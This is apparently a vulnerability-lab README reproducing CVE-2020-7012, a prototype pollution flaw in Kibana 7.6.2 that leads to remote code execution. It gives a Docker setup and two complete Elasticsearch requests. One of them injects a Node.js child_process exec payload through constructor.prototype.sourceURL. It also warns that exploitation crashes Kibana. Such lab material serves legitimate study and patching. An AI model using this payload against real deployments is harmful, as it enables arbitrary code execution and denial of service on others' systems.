# Kibana 7.6.2 upgrade-assistant-telemetry Prototype Pollution Leads to RCE (CVE-2020-7012)

[中文版本(Chinese version)](README.zh-cn.md)

Kibana is an open source data visualization dashboard for Elasticsearch.

Kibana versions between 6.7.0 to 6.8.8 and 7.0.0 to 7.6.2 contain a prototype pollution flaw in the Upgrade Assistant. An authenticated attacker with privileges to write to the Kibana index could insert data that would cause Kibana to execute arbitrary code. This could possibly lead to an attacker executing code with the permissions of the Kibana process on the host system.

References:

- <https://hackerone.com/reports/852613>
- <https://discuss.elastic.co/t/elastic-stack-6-8-9-and-7-7-0-security-update/235571>

## Setup

Start Kibana 7.6.2 and Elasticsearch 7.6.2 using Docker:

```bash
docker compose up -d
```

Once the environment is running, Kibana will be accessible at `http://your-ip:5601`.

## Vulnerability Reproduction

The remote code execution occurs when Kibana reading the `upgrade-assistant-telemetry` attribute of the saved object from Elasticsearch. So you can exploit this vulnerability by sending data directly to Elasticsearch or submitting queries through Kibana. Execution will occur either after Kibana is restarted or when data collection takes place (at an unknown time).

To reproduce the vulnerability, first go to the developer tools of the Kibana UI (the URL is `http://your-ip:5601/app/kibana#/dev_tools/console`), then send the following request to modify Kibana mappings to allow the custom `upgrade-assistant-telemetry` document:

```json
PUT /.kibana_1/_mappings
{
  "properties": {
    "upgrade-assistant-telemetry": {
      "properties": {
        "constructor": {
          "properties": {
            "prototype": {
              "properties": {
                "sourceURL": {
                  "type": "text",
                  "fields": {
                    "keyword": {
                      "type": "keyword",
                      "ignore_above": 256
                    }
                  }
                }
              }
            }
          }
        },
        "features": {
          "properties": {
            "deprecation_logging": {
              "properties": {
                "enabled": {
                  "type": "boolean",
                  "null_value": true
                }
              }
            }
          }
        },
        "ui_open": {
          "properties": {
            "cluster": {
              "type": "long",
              "null_value": 0
            },
            "indices": {
              "type": "long",
              "null_value": 0
            },
            "overview": {
              "type": "long",
              "null_value": 0
            }
          }
        },
        "ui_reindex": {
          "properties": {
            "close": {
              "type": "long",
              "null_value": 0
            },
            "open": {
              "type": "long",
              "null_value": 0
            },
            "start": {
              "type": "long",
              "null_value": 0
            },
            "stop": {
              "type": "long",
              "null_value": 0
            }
          }
        }
      }
    }
  }
}
```

Then send the second request to inject the malicious telemetry document:

```json
PUT /.kibana_1/_doc/upgrade-assistant-telemetry:upgrade-assistant-telemetry
{
  "upgrade-assistant-telemetry": {
    "ui_open.overview": 1,
    "ui_open.cluster": 1,
    "ui_open.indices": 1,
    "constructor.prototype.sourceURL": "\u2028\u2029\nglobal.process.mainModule.require('child_process').exec('touch /tmp/success')"
  },
  "type": "upgrade-assistant-telemetry",
  "updated_at": "2020-04-17T20:47:40.800Z"
}
```

![update kibana mappings](1.png)

Finally, you need to wait for a while for your payload to execute. If you don't want to wait, you can restart the Kibana server by `docker compose restart kibana`, and the malicious code will be executed after the service restarts.

As you can see, `touch /tmp/success` will be executed after the service restarts:

![index doc status](2.png)

> **Important note: After the exploitation, Kibana will crash and not able to start. You have to delete the `.kibana_1` index from ElasticSearch to restore the functionality.**
